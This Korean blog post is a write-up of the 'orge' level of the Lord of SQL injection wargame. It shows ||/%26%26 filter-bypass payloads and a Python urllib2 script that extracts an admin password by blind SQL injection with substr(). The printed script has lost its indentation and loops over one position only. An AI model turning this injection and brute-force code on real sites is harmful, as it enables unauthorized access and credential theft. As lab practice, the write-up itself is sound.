역시 pw를 알아내야하는 블라인드 인젝션문제이다. 이전의 블라인드 인젝션 문제와 다른점이 있다면,

or과 and에 필터링이 걸려 있다는 것. and같은 경우에는 url안에서 &기호 대신에 url인코딩에 따라 url에 %26으로 입력해 줘야한다.


or필터링 우회 : ||

and필터링 우회 : %26%26(&&)



아래의 그림과 같이 and를 %26%26으로 입력해준 후 length(pw)='@ <--임의의 숫자를 대입해봄

pw는 8자리라는 것을 알 수 있었다.




아래와 같이 substr()함수를 이용해서 임의의 값을 넣어 한자리씩 총 8자리의 pw를 알아내면 된다.





import urllib2 



headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36',

           'Cookie': '__cfduid=d801ac695e6807aeabe31f3b42483360c1520211570; PHPSESSID=4uocr6djjqvf1pi7bsgemnha36'} 

result=[]

for j in range(1,2):

for i in range(48,123):

urL="http://los.eagle-jump.org/orge_40d2b61f694f72448be9c97d1cea2480.php?pw=1%27%20||%20id=%27admin%27%20%26%26%20substr(pw,{0},1)=%27{1}".format(str(j),str(chr(i)))

request = urllib2.Request(urL, None, headers) 

response = urllib2.urlopen(request) 

res=response.read(160)

if "Hello admin" in res:

result+=str(chr(i))


print result


'Web Hacking > Lord of SQL injection' 카테고리의 다른 글

09.los vampire  (0) 2018.03.22
08.los troll  (0) 2018.03.22
06.los darkelf  (0) 2018.03.21
05.los wolfman  (0) 2018.03.21
04.los orc  (0) 2018.03.21

+ Recent posts